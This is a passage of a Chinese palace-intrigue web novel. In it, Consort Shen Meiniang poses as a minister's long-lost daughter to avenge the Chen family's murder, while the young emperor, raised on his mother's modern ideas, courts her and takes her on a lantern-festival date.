姜颂提前以身体不适为由结束了宴会,沈美娘跟着姜颂离开。 一路上姜颂还是帮她撑伞,却默默不语。 沈美娘也跟着没说话。 姜颂看她不说话,反问:“沈娘子,你就没什么想说的吗?” 沈美娘摇头。 她要辩解和给姜颂顺毛,也得先弄明白姜颂是在为什么生气才行啊。 姜颂究竟有没有误会她和沈温的关系,听没听到她和李守义的话,是不是除了私情,也有对她后宫接触外臣的不满…… 她一个问题都不清楚,随便开口辩解,更会惹大麻烦。 姜颂听到这话,他示意宫人们不必继续跟着,拉着沈美娘又走了一段路,等到四下无人,才停下脚步。 姜颂垂眸看沈美娘。 她还是很美,也很温顺。 但姜颂知道这都是沈美娘的伪装,真实的她,是在芙蓉谷时,那个不知道他身份的沈娘子。 那个嘴巴厉害又有些善良的普通人。 姜颂想到等会儿要说的话,捏紧伞柄,指尖因为太用力都泛白了。 他盯着沈美娘,道:“沈美娘,我没你想的那么善良。” 什么? 等着姜颂先开口的沈美娘不解。 刚才不是她在私见外男吗,怎么姜颂突然开始说他自己呢? 姜颂继续道:“我知道很多不属于这个时代的想法,但那都是我娘教我的,本质上,和我父皇逼我学的东西一样。” “我很向往那个世界,也觉得那些闪闪发光的思想令人向往,但我其实没见过,更没亲自感受过。它们对我而言,也都是无根飘萍。”姜颂垂眸。 少年爱笑的眼里,此刻是迷茫和晦涩的情绪。 他道:“从我娘回家后,父皇开始教育我,我就觉得我被拆成了两个人,一个是属于这个时代的姜颂,一个是不应该存在的宋江江。” 沈美娘逐渐从姜颂的话里,听出他想要说什么。 果然,在短暂的沉默后,姜颂认真道:“沈美娘,你就当我现在还是宋江江,我只问你一次——” “你是不是为了到京城认父,才被迫委身于我?” 沈美娘没想到姜颂会相信她编的话,更没想到姜颂会关注这个,而不是她是否喜欢沈温。 她道:“当然不是,臣妾喜欢陛下啊。” 沈美娘见姜颂还是默默看着她,像是不太相信她的话。 沈美娘只好凑近他,踮起脚道:“我也只说一次——我沈美娘从小到大看上的男人,只有那个又笨又蠢但很喜欢我的宋江江。” 姜颂闻言,蓦地笑了。 姜颂这什么毛病?温柔和他说,他不信。 凶巴巴地说,他反而就信了。 沈美娘又问:“那我要是万一不喜欢陛下,真的是被迫的,陛下打算怎么做呢?” 姜颂立刻道:“我说了只问一次,你不准反悔!” “我没打算反悔,”沈美娘捏了捏姜颂的手,“我就是好奇,如果真是那样,宋江江会怎么做呢?” 姜颂道:“我能怎么办?你是我救命恩人,我又喜欢你,难道我还能强迫你留在宫里吗?” “我会安排你‘假死’,回李家认亲去,等风头过去,我再认你做义妹,封你做公主。” 沈美娘这才知道姜颂居然在这么短的时间里,就已经想出来了周全的计划。 原来他的话真的不是简单一说。 沈美娘故意道:“那陛下也不怕自己以后后悔吗?” 姜颂道:“所以我说只问你一次。” 沈美娘听到这话笑出声,抱住姜颂,娇声道:“你想得美,谁要做你的妹妹?” “我就要做你的妃子,你得好吃好喝养我一辈子才够还救命之恩。”沈美娘仰头看着姜颂,“你可别想赖掉。” 姜颂听到这话,笑道:“只要你愿意,我绝对不赖账!” 沈美娘看姜颂这般好哄,越发觉得他像条大狗,只要给点肉吃,就会把仇恨全忘了。 她试探问:“陛下,就不怀疑臣妾和沈大人的关系吗?” 姜颂听到这话毫不迟疑:“我刚才一开始是有点生气,后面回殿里就想通了。” 他看沈美娘眼中满是好奇之色,仔细解释:“我看出来你是演的了,我知道你没安全感……嗯,这个词就是你不太相信现在到手的安稳,你需要更多的权力和爱。” 他话里全是对沈美娘的信任:“我不了解沈温,但我了解你。我知道美娘你就是利用他而已。” 退一万步说,美娘对他是三分算计、七分喜欢,对其他男人可全都是利用。 和那些男人比,他在美娘心里,肯定遥遥领先! “更何况——”姜颂话里甚至有些骄傲:“美娘喜欢我,怎么还会看得上沈温?” 沈美娘听到这话,眼里笑意真切许多,在姜颂怀里蹭了蹭。 姜颂又像是想起什么,问:“美娘,你为何总把沈温那把扇子拿在手里?” 当时在南州,他早就把上京的事忘到九霄云外去了,也就没想起那扇子上有一面的字迹是沈温的。 如今姜颂回京重新批奏折,再加上察觉了沈美娘和沈温的关系,他才又想起来这回事。 他知道沈美娘不喜欢沈温,试探问:“美娘是因为想留着,好更好扮演对沈温因爱生恨吗?” 沈美娘笑容僵了一下,迅速调整过来道:“自然不是,臣妾就是觉得那把扇子用得顺手,还是好木材做的。” 她这话不假,但确实也有姜颂点出来的那个原因。 这小皇帝如今猜她的心思,真是越猜越准了。 沈美娘也觉得自己的理由不太合理,又道:“还有,臣妾手上有疤……” 她抓了一把地上宫人还未来得及扫的积雪,用手心的温度将雪化为水。 沈美娘擦掉了平日里用来掩盖陈伤的脂粉,露出小指与手掌相连处,那块明显和旁边不同的新肉。 她道:“臣妾觉得它不好看,不想让别人看到它,就喜欢拿着折扇转,希望别人看折扇,不看我的手。” 姜颂听到沈美娘的话,先呆了呆,然后立刻握住她的手,但他又像是想到什么立马放开了。 但最后姜颂还是小心翼翼地握住了沈美娘的手,摩挲着她那块伤疤,道:“美娘,我不知道……对不起,我不是故意勾起你伤心事的,我改日叫太医给你看看吧。” 姜颂又道:“好看的,美娘怎么样都好看。” 这次轮到美娘愣住,好一会儿,她才明白姜颂的“好看”是在安慰她。 沈美娘心头一软,这个小皇帝怎么就这么容易愧疚啊。 她道:“没事,很久以前的旧伤了,已经不疼了。” 姜颂摩挲着她的那处疤痕,看了好一会儿,眼中尽是心疼。 他平常自诩喜欢沈美娘,却连她手上这么明显的伤都没发现。 姜颂内疚:“我果然不是个合格的爱人。” “不是的!”沈美娘摇头。 她看着自己如今看起来和常人无异的手,轻声讲起过去:“我天生六指,我阿爹又是外族人,从小到大,大家都说这是天惩神罚。” 沈美娘顿了一下,半真半假卖惨:“后来我不想被那么说了,就拿石头把我多出来的那根手指砸烂了。” “就留了现在这个疤。” 沈美娘说得很轻飘飘,就好像这是件和掉头发、修指甲一样稀松平常的事。 可实际上,那其实是一件很疼的事。 姜颂知道这个时代还没有“麻醉剂”那种东西,那当时的沈美娘究竟得有多疼? 他问:“美娘,你那时候几岁啊?” “十二岁。”沈美娘笑道:“陛下,你看,真的是很久以前啦,我早就记不清了。” 她道:“真的不疼……” 沈美娘的话没说完,就被姜颂用力抱进怀里。 姜颂一字一句道:“对不起。” 他该早点发现的,也应该早点遇到沈美娘的。 沈美娘原本还想笑着安慰,却发现姜颂哭了。 少年的热泪落在她的肩头,明明是冰天雪地,又隔了层层厚厚的衣物。 但沈美娘就是觉得姜颂眼泪落下的温热触感很是明显。 温暖好像从肩头蔓延开来。 沈美娘回报住姜颂,温柔道:“没事的。” 姜颂不欠她什么,却是对她说过最多“对不起”的人。 这个小皇帝也真是——太可爱了- 沈美娘原本没有太把那夜的事放在心头。 直到几日后,姜颂故作神秘,把一个木盒捧到她面前。 他邀功般道:“你打开看看。” 沈美娘没怀疑,打开木盒,看到了盒子里静静躺着的一把金子做的扇子……还有一枚像是指环的东西。 她心中隐隐有了答案,但还是想要确定什么般问道:“这是什么?” 姜颂把扇子“唰”的一声打开,小巧精致金扇上镂空的花纹是“沈美娘”的名字——和她那把旧折扇一模一样。 只不过少了沈温写的“翩翩公子”四个字。 他解释:“这把扇子以后你春夏可以用,金光闪闪,没有人会注意到你‘那个’的。” 姜颂指了指沈美娘的左手。 这种金银镂空扇,听妈妈说她那个世界的“欧洲”比较多,还好他认真看了札记,才能给沈美娘做出来。 沈美娘注意到另外一枚指环样的东西。 不过这个指环的式样很新奇,上面有一颗很大的红色宝石,在光下看起来很是夺目。 姜颂解释道:“这个是戒指!上面是红宝石,是别国来的贡品,比玛瑙什么的还要夺目!” 他道:“这样秋冬的时候,大家就会只注意美娘你手上的戒指了。” 沈美娘怔怔然,半晌,才道:“多谢陛下。” 她伸出手,道:“那陛下帮我戴上吧。” 姜颂点头,拿起戒指,认真地给沈美娘戴到手上。 戒指推到顶,硕大的光彩夺目的宝石,正好可以遮住沈美娘不愿提及的陈伤。 姜颂被宝石的光辉晃了眼,悠悠想起来,妈妈好像说过—— 在那个世界,婚礼不仅有拜天地,还要互换戒指来着。 沈美娘看姜颂出神,问:“陛下,在想什么?” 姜颂下意识答道:“美娘,你说,我们这样,是不是也算拜过天地了。” 第36章 第36章美娘和她薛定谔的家人。…… 姜颂认真给沈美娘讲了什么是西式婚礼,什么是婚纱,还有什么是交换戒指,和需要夫妻两人共同说的“誓词”。 姜颂从小就觉得互换戒指是和拜天地有一样分量的事情。 就 算他只是送了戒指,不是互换戒指,那——怎么也得算半个拜天地了吧? 他兴冲冲说完,等沈美娘的回答。 沈美娘摩挲着小指上的戒指,挑了挑眉:“不算。” 她凑近姜颂,眉梢轻佻:“臣妾又不是那个世界的人,陛下可别想拿一枚戒指就打发臣妾。” 沈美娘道:“凤冠霞帔、红烛高照这些东西,陛下可一件都不许缺臣妾的。” 她认真道:“拜了天地才算一辈子,别的,臣妾都不认。” 姜颂听到沈美娘的话,觉得她说的也有理,点了点头:“好,美娘,我以后会补给你的。” 沈美娘看姜颂好说话的样子,心里难得有点心虚。 她这话其实是骗姜颂的。 事实上,不管是什么戒指誓词,还是婚礼拜天地,沈美娘从来都不在意。 确切来说,她从来没想过把自己的一生许给任何人。 沈美娘知道说实话,小皇帝肯定会生气,只能编这种谎话骗他。 但也无所谓—— 小皇帝如今连皇后之位都不能给她,更别提什么拜天地这种事情了。 他俩谁也不欠谁。 等小皇帝哪天真把皇后之位捧给她,来找她要一辈子的许诺时,她再考虑就是了。 沈美娘出神的时候,姜颂突然问她:“美娘你说你是李尚书的女儿,可那夜李尚书却不承认认识你娘……这件事需要朕帮你吗?” 沈美娘这才想起来姜颂也跟着沈温一样,当真信了她是李尚书流落在外的女儿。 她道:“陛下若是愿意帮臣妾,臣妾自然会省去很多麻烦。” 沈美娘一开始是没想将事情闹大。 但她没想到李守义此人,居然比她想象的狠心许多,就算她拿着信物上门,他都不漏半分马脚。 既然如此,那将姜颂拖入这局,借他的势,达成目的也未尝不可。 沈美娘轻笑,抱着姜颂,就是一连串哄他的话:“那便多谢陛下了,陛下待臣妾真好,臣妾这辈子都还不完陛下的恩情。” 姜颂被沈美娘的话,夸得脸红,就算知道沈美娘的话只能信五分,但他还是会忍不住得意和手足无措。 姜颂做事从来都不是嘴上说说。 刚和沈美娘说完会帮他认父,没过两日,他就召李尚书进宫商议此事。 李守义也没想到陛下居然会帮一个妃子找爹。 姜颂把沈美娘与他讲的当年之事,一一道来:“李卿年轻时为求羽化登仙之术,曾访学蜀中,显庆五年,遇绵州陈家的长女,与其私定终身。陈娘子赠了你一枚家传玉佩作为信物,另一枚给了沈贵妃。” “九月,李卿回家奔丧,便与陈娘子断了来往。三年后,丧期满,你听从祖母安排,娶了谢阁老的小女儿。”姜颂道。 李守义听到姜颂将当年的事,如此详尽地讲出来,心里有瞬间慌神。 : 沈美娘就算真的是陈言清那个女人背着他生下来的女儿,也不至于会如此清楚这些事才对。 陈家人不是全死了吗?谁会告诉沈美娘这些事? 姜颂盯着李守义的脸,从他的神色变化中,知道他肯定和沈美娘的“母亲”有关系,说不定也真如美娘所说的真是他生父。 姜颂轻笑:“李卿那夜说你不认识陈娘子,可是美娘却和朕说,你和陈娘子有一段情。李卿,你说呢?” 李守义面对沈美娘的质问能强撑镇定,但面对皇帝的问询,他哪里还敢否认。 李守义道:“臣确实和陈娘子私定终身,但后来家中长辈说,她在我守孝时,就早已嫁作他人妇。” “臣后来也曾派人去蜀中打听过,却听闻她已经过世。”李守义眼角落下一滴清泪,“臣也没想到,她竟替我生下了一个女儿。” 姜颂听到此处,盯着李守义,像是在考量他的话究竟几分真几分假。 就在姜颂思考时,李守义主动道:“毕竟是快二十年前的旧事了,臣那夜才一时没想起来。” 他擦了擦脸上的泪,眼中全是一片慈爱和悔恨,问:“不知娘娘过得可好?陛下,可否让臣与娘娘见一面。” 姜颂打算拒绝——他本打算把这件事办妥了再告诉沈美娘,今日压根就没喊沈美娘到紫宸殿来。 可就在此时,宦官来通传,说是沈美娘给他带了她亲手做的点心。 姜颂有些意外,旋即就将这归为沈美娘喜欢他,担心他和朝臣议事饿肚子。 只是恰好李守义也在而已。 殿外的沈美娘得到允许,提着吃食进殿,她的目光掠过殿上的李守义。 他果然在紫宸殿。 宝儿在习艺馆交了不少新朋友,其中就有尚仪局和殿中省的女官和宦官。 李守义今天前脚刚被姜颂宣进宫,消息不到一刻钟,就到沈美娘那儿了。 沈美娘当然不会放过每个和李守义见面的机会。 姜颂接过沈美娘的食盒,握住她的手,道:“美娘,李卿就是你的生父,你们父女俩可有什么话要说?” 沈美娘闻言,抬眼遥遥向站在下方的男人看去。 她看着李守义眼中的热泪和思念,心下冷笑,面上却换上一副颇为感动的面孔。 “当真可以吗?”沈美娘又问姜颂。 姜颂:“当然。” 他想了想,觉得他们父女俩说贴心话,他在旁边听着不大好。 他主动道:“这样,朕叫人引你们到偏殿去。” 姜颂盯着沈美娘放到桌上的点心,想到这是她第一次给他亲手做吃的,却又想到沈美娘还没给爹爹做过东西吃。 他忍痛割爱,道:“美娘,李卿想必没吃过你做的东西,你把这点心也给李卿提过去吧。” 沈美娘垂眸,看着精致小巧的点心,点头:“好。” 她提起食盒,走到李守义面前,红着眼,哽咽道:“爹爹,咱们走吧。” 姜颂望着沈美娘和李守义离开的背影,发现好像有哪里不太对。 沈美娘这个突然“认爹”的事情有些突兀,这些日子他帮沈美娘认爹,才发现她没被叶司马贬为贱籍前的户籍也很奇怪—— 按那份她从前的良籍来看,她十二岁经历了大旱,是和沈温一起逃难到了南州。 沈温投奔了外祖家,帮沈美娘重新拿了份良籍,也收留她在府上做长工。 可经历了大灾,也意味着沈美娘之前的经历和住所,很难有机会求证真伪。 想知道沈美娘的过去,就只能通过沈温,但姜颂又不想去问他。 而且,沈美娘她生父的身份,也与她从前说的很多话对不上。 沈美娘之前说过,她家世世代代都是平民出身,不止一次说过她没文化的事,还有她父母本来很相爱…… 姜颂想来想去,只能用沈美娘的话,十句里有九句都是假话,来说服自己。 总不可能,沈美娘这个人连爹娘都可以“随地大小认”吧? 沈美娘不知道姜颂已经察觉了她的谎言,她走进偏殿,让殿内侍奉的宫人都退下。 她看向坐在自己对面的李尚书,轻笑道:“父亲大人愿意认我这个女儿,真叫女儿意外。” 李守义原本还想演父女情深,可是看到沈美娘这样,才发现她刚才在殿上的反应好像也是演出来的。 他低声问:“你究竟是何人?” 沈美娘捻起一块点心,咬了一口,道:“不是和大人说了吗?我是您和陈言清陈娘子生的女儿啊。” 她笑靥如花,反问:“大人不是也认下了吗?” “你……”李守义像是想要说什么,却终究没说出口。 沈美娘将点心往李守义那边推了推,道:“阿爹不 吃一块吗?这可是女儿亲手做的。” 李守义盯着那花瓣形状的点心,眼中像是想起了旧事,浮现片刻的柔情。 沈美娘捕捉到李守义的眼神变化,问:“阿爹,可是认出来了这是山茶花?” 沈美娘道:“上京虽然也种茶花,可是哪里能和蜀中比呢?我记得,阿娘可是最喜欢茶花了,不知爹爹可还记得?” 李守义闻言,目光从那些点心上移开,恢复往日的稳重。 他道:“言清最喜欢茶花,尤爱白十八学士,我当然记得。” 沈美娘听到这话,笑道:“阿爹原来还记得。” “只可惜,阿娘生我时那场火,把她最爱的花都烧死了,祖宅也没了。外祖父母、舅舅、姨母,还有阿娘都死了。”沈美娘悠悠道,“幸好,我命硬,被送了出来。” 沈美娘笑意愈深:“阿爹也没想到吧?” 李守义握住她的手,安慰她:“都过去了,如今,你找到爹爹了,爹爹便不会再让你吃苦。” 沈美娘点头。 她又问:“阿爹,如今还信道教,那些成仙的东西吗?” 李守义道:“子不语怪力乱神。” “那就是不信了,阿爹如今只信忠孝仁义了,对吧?”沈美娘反问。 没等李守义回答,她就莞尔一笑:“那就好。” 沈美娘:“那爹爹死后,就不会去泰山冥府了。” 李守义闻言,盯着沈美娘的眼神里透着寒意。 沈美娘丝毫不惧,依旧风轻云淡道:“阿娘信道教,她逝后,会去泰山冥府,她的元神不会磨灭,会羽化登仙的。” 她迎着李守义探究的目光,道:“阿爹你——就不一定了。” 沈美娘虽是笑着的,但一股冷意莫名缠绕上李守义。 他惊得起身,踉跄了一下摔倒在地,失了平日的风度。 沈美娘问:“阿爹,这是怎么呢?” 李守义盯着眼前的女人,越发肯定心中的想法—— 这个女人绝不可能是陈言清那个女人和他的孩子。 她简直就像是从地下爬出来的鬼魅。 但这人如今是陛下的宠妃,他根本奈何不了这人。 李守义不清楚女人冒充陈言清女儿的目的,装作无事道:“爹爹无碍,就是刚才想到你娘走了神。” 沈美娘伸手将李守义扶起来,问:“对了,阿爹可知道阿娘,给我取的名字?” 见李守义摇头,沈美娘道:“单名‘盈’,就叫陈盈,爹爹一定不能忘了。” 沈美娘扶着脚步虚浮的李守义从偏殿出来,她还特地挤出了几滴眼泪。 李守义也调整过来,又恢复一副刚与女儿相认的慈父模样。 姜颂看两人举止如此亲密,原本对沈美娘和李守义关系的疑惑,也就淡去不少。 等李守义离开,沈美娘和姜颂分着吃剩下的点心。 她丝毫没有觉得让皇帝吃别人剩下的东西有什么不对。 姜颂也因为在芙蓉谷,因为浪费一碗白粥,被沈美娘狠狠批评过没什么意见。 殿中的宫人们见此情景,都觉得这位沈贵妃当真是太得宠了。 先帝当年那般宠爱文昭皇后,都从没有这般迁就过她。 姜颂和沈美娘不知道他俩,已经成为了宫人眼中的“妖妃”与“色令智昏”的“昏君”了。 幸好他俩的行为,没被御史台的人看到,不然就该快进到“大燕要完”了。 沈美娘今日的点心做的有点多了,她在吃不下之后,把剩下两块都夹给了姜颂。 她笑得眉眼弯弯,道:“陛下,这是臣妾给你做的,你一定要吃完哦。” 已经被点心甜得有些齁了的姜颂,看看两块点心,又看了看沈美娘注视他的眼神。 他一不做二不休点头:“好。” 这是美娘给他夹的点心,他一定要吃完,不能浪费。 沈美娘看姜颂还在吃点心,想起和李守义的事,对姜颂道:“陛下,过几日就是上元节了,臣妾想悄悄去李府上见见韩国夫人和她的女儿。” 姜颂喝了口茶,将点心咽下去,问她:“美娘,你想见韩国夫人和她女儿做什么?” 当然为了看看这两人和陈家的事有无瓜葛。 让青词决定,是只杀李守义和李家人,还是像当年的陈家那般——鸡犬不留。 沈美娘压下心里暴戾的想法,故作忧伤:“她们才是阿爹如今的妻女,臣妾想先见见她们,若是她们不愿意接纳臣妾……便算了。” 姜颂听到这话愈加心疼沈美娘。 他拍了拍沈美娘的手,安慰她:“她们会愿意接纳你的,就算她们不认……美娘,我也会好好善待你的家人。” 姜颂把早就想好的计划告诉沈美娘:“你娘——额,也就是朕岳母,朕就追封其为周国夫人,你小姨追封为衮国夫人,你外祖父母和舅舅也都得追封追赠,一个都不会少。” 沈美娘听到姜颂的话,愣在原地。 她差点都想直接摊牌,告诉姜颂,她不是陈盈,让他把这些封赏给她真正的家人了。 但沈美娘在短暂的胡思乱想后,躺进姜颂怀里,娇嗔道:“陛下,你也太好了吧。” 姜颂得意:“那当然。” 这可是他想了好久,才想出来给沈美娘家人的封赏。 两人又甜甜蜜蜜了好一会儿,落在宫人耳朵里,却已经是—— 他们陛下好像真的被沈贵妃把魂给勾走了。 第37章 第37章带女朋友去吃心爱的路边…… 今日是上元节,书房内的李守义脸上却无半分喜悦的神色。 他盯着眼前被他匆匆从陇西老家唤来的堂兄李二郎,问:“当年的事,不是叫你手脚干净点吗?” 李二郎也不解:“四弟,当年的事,我都是按你吩咐去做的,你也知道我做得有多干净……怎么会有漏网之鱼呢?” 李守义当然明白这一点。 就是因为这件事不可能有纰漏,他才越发好奇这个沈美娘怎么会知道那么多细节,手里还拿着陈言清的玉佩。 明明他当年都已经做到那个份上了。 李二郎看堂弟这副如临大敌的模样,安慰他道:“你也不必害怕,不就是杀了个修道的小道长吗?也不算什么大事,大不了,这个罪,哥哥我替你认了。” 李守义闻言,脸色舒缓不少,道:“二哥,如何说这种话?你我都是李家子弟,一荣俱荣,一损俱损。” 等李二郎离开后,李守义在原地踱步,还在想这件事究竟该如何解决。 半晌,他唤了暗卫进来,斟酌道:“杀了李二郎。” 李二郎不清楚他当年杀的人的真实身份,但沈美娘若是抓住李二郎,定能从他套出话来。 那个女人那般诡计多端,肯定能把前因后果串起来。 他当年就不该因什么同宗之情,和觉得李二郎做事狠辣,留下这人的命。 李二郎离开李府后,长久没归上京的他,想去找昔日旧友们聚聚。 他心中欢喜,也就没察觉到身后逐渐逼近的黑影。 可就在那黑影即将逼近时,一柄长刀挡下了暗处的匕首。 青词一刀斩下那暗卫握着匕首的手,又将见势不对想要逃离的李二郎踹倒在地。 李二郎看到那道迅速消失的身影愣了愣,像是意识到了什么。 青词回身,嗤笑一声:“你替李守义做了那么多脏活,也没想到到头来,他会如此待你吧。” 这些日子,她一直按沈美娘说的,派人盯着尚书府。 昨日她听闻李尚书堂兄即将进京,今日早早就出宫守着了,还当真捉到了这人。 青词将李二郎带下去,才转身向坊市口停了许久的马车走去。 她上了马车,沈美娘看她的样子,挑眉问:“捉到呢?” 青词点头,有些不解:“娘娘如何知道李守义当年会留下活口,又一定会将那人杀人灭口?” 沈美娘摇头:“我就是不知道才叫你去蹲守的。” “纵火灭门杀人这种 事,就算是朝廷命官杀寻常人家,那都是一旦暴露会被严惩的大罪。李守义办这种事一定会派最信任和得力的人去。“沈美娘眼里闪过嘲弄之色,“可是哪个人——” “会舍得轻易毁掉自己用的最趁手的工具呢?” 沈美娘道:“如果李守义当真留了活口,自然是好事,可就算是没留……也算是试探出这人的无情和杀伐果决了。” 青词点头,又问:“接下来,我们该如何做?” 沈美娘拿出镜子,对镜整理她的发髻,道:“李守义派的杀手,你放走了对吧?” 得到青词肯定的回答,她继续道:“那这事就差不多了。你看能不能从那个李二郎嘴里问出点什么东西,至于李守义……他这钩可咬紧了。” “现在就看他还会怎么拼死挣扎了。”沈美娘放下手中的镜子道。 马车在李尚书府前停下,沈美娘在青词的搀扶下走到李府门前。 李府的门房一看到她的打扮,和其他宫人的穿着,登时就明白了沈美娘的身份。 门房立刻派人去通知韩国夫人,又笑着迎沈美娘往李府里面走。 沈美娘没提前知会李府的人,她今日要微服私访的事,府中的人显然都有些无措。 韩国夫人听说沈美娘意外到访,连忙从住的院子里出来迎接她。 谢明安看到她想行礼,却被沈美娘止住了动作,她轻笑:“夫人不必如此。” 谢明安也在几日前就得知了沈美娘的身世。 她当然知道沈美娘免了她的礼,是看在她嫡母的身份上,但谢明安还是坚持给她行礼。 谢明安坚持道:“礼不可废。” 沈美娘也不继续坚持,笑意深了几分,问:“夫人,当真是知书达理,不愧是谢家这样钟鸣鼎食之家的女儿。” 谢明安听到沈美娘的话,想到她的身世,觉得沈美娘这是自卑了。 谢明安握住沈美娘的手,宽慰道:“娘娘的生母,能生出娘娘如此聪慧美丽的女儿,怕是多少大家闺秀都比不上。” 沈美娘听到这话笑意真切了许多,回握住谢明安的手,问:“不知李娘子去哪里呢?” 谢明安眼里浮现几许无奈:“她啊,早上吃了点东西,就说要去和长宁郡主玩,现在都还没回来。” 恰在此时,一道男声蛮横地插了进来:“都多大的姑娘了,还总是东跑西跑,没点姑娘家的规矩样。” 沈美娘看向终于现身的李守义,微笑道:“阿爹,你总算到了。” 李守义想到刚才来回禀的暗卫说的事,眼里的冷意一闪而过。 这个沈美娘刚派人劫走李二郎,竟然还敢堂而皇之登门拜访。 李守义不得不挤出几分笑意道:“听说你来了,阿爹当然得来看看。” 沈美娘:“阿爹待我真好。” “不过,阿爹也没必要说李娘子做的不对,十几岁的小丫头爱闹腾很正常。”沈美娘突然发问,“没有心怀不轨的男人蓄意勾引,又会犯什么大错呢?” 沈美娘这话一出,在场的几人都能听出来,她在骂谁了。 谢明安见状连忙打圆场,道:“娘娘站着说了这许多话,想必也是累了,不如进屋去用点茶,再唠唠家常。” 沈美娘盯着李守义不算好看,却又不得不强撑体面的脸,摇头拒绝谢明安的邀请。 她道:“不了,陛下还约了本宫逛灯会,上京难得没有宵禁,可不能浪费了。” 谢明安又道:“那臣妇送您。” 沈美娘这次没拒绝,谢明安送她离开的路上也没多说什么。 但在沈美娘快要踏出尚书府门槛时,谢明安却忽然拉住了沈美娘。 她将一个红绸包递给了沈美娘:“这是臣妇的一点心意。若论君臣,是臣妇僭越;若论母女,这是臣妇该给的。” 沈美娘接过这个红包,脸上情绪依旧是万年不变的笑意。 她道:“那就多谢夫人了。” 沈美娘离开尚书府,刚上马车,就将红包递给了青词。 青词看也没看,就将红包丢出了马车,冷哼一声:“惺惺作态。” 沈美娘也没多说,只掀开帘子看窗外的风景。 青词以为沈美娘会劝她,不解:“娘娘,今日不是为了劝我,才来这一趟吗?” “谁说我要劝你?”沈美娘反问。 她道:“我答应替你报仇,至于怎么报仇,报到哪个份上,都是你说了算。” “我只是让你看到事情全貌,不叫你稀里糊涂报仇。” 沈美娘从来都没打算劝青词放过谁。 陈家满门被灭,本来就该要李守义满门的命来还才够——至于是否要放过无辜,那是青词才能决定的事。 青词听到沈美娘的话,撇过头,道:“我还没想好。” 沈美娘:“那等你想好了再告诉我呗。” 马车在沈美娘和姜颂越好的见面地点停下,她正准备起身,却像是想起什么般,伸手轻弹青词皱着的眉头。 她笑道:“青词你也应该开心点。做错事的又不是你,该愁眉不展的,该是做坏事的人才对。” 说完这话,沈美娘就跳下了马车。 “愁眉不展”是她刚学会的成语,应该没有用错吧。 沈美娘看到远处树下站着等她的姜颂,飞奔过去用力抱住他:“公子,是不是等了好久啦!都怪我,路上耽搁了太久。” “不怪你!”姜颂连连摇头,“是我太想见你,就提前来了好久。” 他比说好的时辰,早了快一个时辰到这里。 但姜颂又不由庆幸自己早到这么久,不然就该叫沈美娘等他了。 可是时间比预想的早了一个时辰。 现在天都还没黑,根本就没什么花灯可以赏。 姜颂眼珠子转了转,问:“美娘你饿不饿?” 他不问还好,他这一问,沈美娘发现她确实有点饿了。 她今日为了捉李二郎,也为了去尚书府拜访,可是连午饭都没吃。 沈美娘诚实地点了点头。 她的反应正合姜颂的意,他道:“我带你去个好地方!” 沈美娘还没反应过来,就被姜颂拉着小跑起来。 上元节路上的人很多,两人紧握着手,钻着空隙跑,才没有被冲散。 直到跑到一家馄饨摊前,姜颂才停下脚步。 他献宝般和沈美娘道:“它家的馄饨可是全上京最好吃的!你绝对吃一次就爱上了。” 沈美娘看姜颂熟练地和摊主寒暄和点馄饨,又很是自然地拉她坐下。 姜颂看着沈美娘探究地目光,问:“美娘,我脸上是有什么东西吗?” 沈美娘摇头。 她的目光环视了一圈馄饨摊,看着来来往往短衣褐衫的人,才问:“公子,不觉得这样的地方很吵闹吗?” 姜颂摇头:“我觉得很热闹啊,很有人气,难道美娘你不喜欢吗?” 沈美娘:“不,我也很喜欢,我只是以为按公子的身份地位会不喜欢的。” 姜颂正想说身份地位和他喜欢什么没关系,摊主已经将两人的馄饨端了上来。 摊主道:“宋公子也好久不来了,记得上次看到宋公子,还是十来岁的小公子呢!” 沈美娘听到摊主的话,不由对姜颂的过去产生兴趣,问:“宋公子,以前常来吗?” “那可不。”摊主像是说自己小孩一样熟稔,“宋公子刚会走路,就被爹娘带着出来吃我的摊,后来……是有几年没来过,等到宋公子长大了,十来岁就又常常自己溜出门来吃。” 姜颂听到自己被摊主揭老底,脸红得不得了,只能一个劲儿吃馄饨。 摊主不知道姜颂是宫里人,沈美娘却知道。 她想姜颂这么调皮,从小就喜欢溜出宫玩,故意问:“那他就没被家中长辈抓住过?” “怎么可能没有,有次……”摊主像是想到什么,叹了口气,“宋公子阿爹抓住他溜出来,那脸黑得哦……结果,宋公子说他是想娘了。” 摊主摆了摆手:“不说了,这位娘子,你自己问宋公子好了。” 沈美娘听到摊主的话,有些讪讪地拍了拍姜颂的肩,道:“我不是故意的,你别生气……还有难过。” 宫里人对文昭皇后的事都讳莫如深。 沈美娘只知道姜颂娘去世得早,但她也没想到会是那般早。 姜颂摇头:“我没有啊,我娘就是回家了,我为什么要生气和难过。” 沈美娘这才意识到姜颂是真的坚信他娘是仙子,只是回家去了,不是死了。 沈美娘只好点头。 算了,既然姜颂自己都不愿意面对,她还是别去戳破了。 姜颂看沈美娘眼神复杂地看他,道:“沈美娘,你可不许可怜我。” “我娘本来就是回家了,才不是去世了。”他有些骄傲地抬了抬下巴,“况且,虽然我娘没能教育我太久,但我可一点都没辜负她的期望。” 沈美娘觉得姜颂这样可太可爱了,问:“什么期望啊?” 姜颂咽下最后一口馄饨,擦了擦嘴,坚定道:“永远不要被这个封建时代同化。” 第38章 第38章约会遇到亲戚怎么办? 沈美娘不知道姜颂话里的“同化”是什么意思,但她联系前后,还有他平日里的所作所为。 她居然理解了整句话的意思。 那也就难怪姜颂为何会那般痛苦,还会时不时做些沈美娘都觉得奇怪的东西。 沈美娘夸赞:“公子已经做得很好了。” 至少在她认识的男人里面,姜颂确实是最不一样的一个。 姜颂眼睛亮闪闪,欣喜非常:“真的吗?” 沈美娘点头:“嗯!” “不过……”沈美娘又有些迟疑。 姜颂的心揪起来,他害怕沈美娘评价他做得不好。 他从小就知道人是最容易一叶障目和志得意满的。 他怕自己在别人眼里,其实是个很差劲儿的人。 姜颂:“我……” 沈美娘先他一步道:“我觉得公子没必要纠结‘同化’这件事。” “公子的阿娘是那个世界的水土养出来的人,可公子是这个世界水土养出来的人。”沈美娘想了想继续,“上京人、南州人、蜀中人都吃的、穿的、玩的大有不同。” 沈美娘道:“就像让生在上京的人,坚持蜀中的民俗,未免有些强人所难了。” 可能是因为此刻在来来往往的闹市,不是规矩森严的皇宫,姜颂也先和沈美娘提及了过去,她难得说了真实想法。 但她在说出这话后,立刻反应过来,笑道:“我没有别的意思,我就是想说,公子已经很厉害了。” 姜颂原本因为沈美娘的话若有所思,但又很快就被沈美娘转移了注意力。 她笑着问:“公子吃饱了吗?要再来点吗?” 姜颂连忙摆手,也忘了刚才被沈美娘挑起来的想法。 